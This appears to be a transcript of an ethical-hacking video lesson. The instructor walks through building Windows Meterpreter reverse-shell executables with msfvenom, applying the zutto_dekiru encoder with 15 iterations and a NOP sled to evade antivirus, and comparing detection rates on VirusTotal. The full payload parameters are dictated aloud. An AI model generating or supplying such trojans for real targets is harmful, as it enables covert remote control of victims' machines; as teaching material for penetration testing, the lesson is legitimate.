Instructor: Welcome back.
Let's get back to our payload creation.
So in the previous video we saw
how we can create a simple dot exe Trojan using msfvenom.
We use the basic options where
we only set local host and local port.
Now let's check out some other options
that we have available.
If I go and open up my terminal,
and run the command msfvenom dash H,
we will get our help manual.
And the purpose of all of these other options
that we can see right here will usually be
to either bypass an antivirus or to make
your payload smaller in size
or something similar to that.
Basically, it is used
for creating a payload for your own needs.
For example, in the previous video
we created a payload that was
a Windows Meterpreter shell as an exe file.
But we can create other file types if we want.
To check out what other file types can we create,
we can run the command msfvenom dash dash list formats,
and it tells us that right here under the dash F command,
we can use dash dash list formats to list all
of the available formats.
So let's do that real quick.
Dash dash, list and then formats.
This will take a few seconds to execute
and seeing this will be really useful.
Why?
Well, imagine you were sending a payload
to a Linux machine.
Any exe file wouldn't be much useful then, right?
However, a Python file could be of use in that case.
Well, msfvenom allows us to create any file type
that we want.
So let's check out all of the available file types.
So up here, we can see we can create asp, dll,
exe, some other file types as well.
We can go down here,
we can see different programming languages
such as C, Csharp.
We can create in Perl, in PowerShell, in Python.
We can also do Ruby, SH
and many other file formats if we want.
And what I also want to show you
besides this is different options that are also useful,
whether it is for bypassing antivirus
or changing the size of your payload.
Let us check them out.
So let's create a couple
of payloads right now and compare them.
Let me clear the screen first.
And to compare them,
we're going to use a site called VirusTotal.
And to do that and to visit the site
we must open the Firefox.
And what VirusTotal is is a website
where you upload your viruses and they will tell you
how many antivirus vendors are able to detect it
as a malicious program.
So if I open VirusTotal by typing virustotal right here,
go to the first link, which is this one, virustotal.com.
And one thing to keep in mind is that every file you upload
to this website is sent to the antivirus vendors.
So something that might be undetectable today,
after uploading it to this website,
it will for sure become detectable
in a few days or a week.
Are there other websites that don't send your files
to antivirus vendors?
Yes, but they are not as good as VirusTotal.
And we already know that undetectable virus
is a game of cat and mouse.
Today, it's undetectable, tomorrow it isn't.
So this isn't really something to worry about right now.
Let's create two payloads real fast.
So the first one that we are going to create is
going to be the one from the previous video.
So let's do it real fast,
we already know how to do that.
It will be a 64-bit payload meterpreter reverse tcp,
LHOST will be equal to the IP address.
So let's check it out real quick.
Dot one dot 12 and if I specify it right here,
LPORT can be 5555, it doesn't really matter.
The format will be exe and the output
we can save it as shell1 dot exe.
Press enter.
And as soon as this finishes,
we are going to upload this payload
to the VirusTotal to see
how many antiviruses detected as a malicious program.
So it has finished.
Let us go to the VirusTotal website,
click and choose a file,
navigate to the desktop directory
and select shell1 dot exe.
I will double-click it.
I will confirm the upload
and it will upload the shell for me.
Now this scan will take a minute or two.
So while that is doing,
what we can do is we can create our second payload
and to create the second payload,
we're going to use some additional options.
So I'll clear the screen right here
and I will type msfvenom dash H right here.
So we have the help manual available.
Then I will go right here and run the command msfvenom.
We will use the same payload
which is Windows x64 meterpreter
slash reverse tcp.
We will select the local host 192 dot 168
dot 1 dot 12, local port will be 5555.
After this, we can use the dash A option
to select the payload architecture.
As we can see right here, dash A stands for
the architecture to use for the payload.
So let's go and select x64
because in my case, I'm attacking
a Windows 10 64-bit machine.
If your Windows machine is 32-bit,
you can proceed with x86.
Okay, the next thing that we are going
to use is a very interesting thing and that is an encoder.
And what is an encoder?
Well, let's go right here and find the dash E option,
which says right here the encoder.
And what we need to specify after it
is the encoder that we want to use.
Encoders can help us bypass some of the antiviruses.
To list all of the encoders that we have,
we can use dash dash list encoders.
So let's do that first.
So msfvenom dash dash list,
and then encoders.
And here they are.
We get bunch of encoders
for x86 or for 32-bit architecture.
We get some for the x64 or 64-bit architecture.
And we get some other encoders up here as well.
Now the ones that we're interested in
at the moment are these x64 ones.
So we are going to go
with this one, x64 slash zutto underscore dekiru.
So let's copy its name right here
and paste it after the dash E.
Now, if we go back to the help manual
and go back to the encoder,
another option that is closely linked
to the encoder is this dash I option.
And it is the amount of iterations.
As it says in the description,
this is the number of times to encode the payload.
So if I go right here after selecting the encoder,
we want to select dash I to specify the number
of iterations that we want to encode our payload.
Now, the more iterations, the bigger the payload
will be in size, but it also might mean
that it will be less detectable to the antivirus vendors.
So let's specify dash I
and then let's perform 15 iterations, for example.
After it, we're going to specify the platform
on which the payload will run, which is Windows.
And after it, we are going to use the
dash N option and select 500.
Now to see what this dash N option is,
we can go right here
and in the dash N, we can see it is nopsled.
It'll prevent a nopsled of length size onto the payload.
Remember what a NOP is?
A NOP is an instruction
for the processor to not do anything.
And here we are simply just telling
how many NOPs we want to add to our payload.
Once we select bunch of these options,
we can add at the end dash F to be an exe,
and dash O to be shell2 dot exe.
So this is our second shell.
Let's run it and wait for msfvenom to create our payload.
And while it is creating the payload,
let's go to the VirusTotal
and see how many detections we got
with the regular meterpreter shell.
So of 68 antiviruses, 43 detected this
as a malicious program and here we can see
which ones detected it as a malicious program
and which ones didn't.
Hmm, let's see,
what if we get any better result using the second shell.
So we can see right here it has been created,
successfully added NOP sled of size 500 from x64 simple.
The final size of the exe file is 8,000 bytes.
So let's go to VirusTotal.
And remember this number 43 out of 68.
And let's see whether we can
at least bypass a little bit more antiviruses
than from this first scan.
Let's select the shell2 dot exe, confirm the upload.
Now, while this is scanning,
let me tell you something real quick.
With the MSF options, don't expect to get
much better results once applying some additional options
or something like that.
As I already mentioned,
the msfvenom is a really known tool
and everyone use these options to generate payloads.
So they are very well known to all the antivirus vendors.
Here we can see our second shell is scanning
and let's see whether we get a lower number than 43.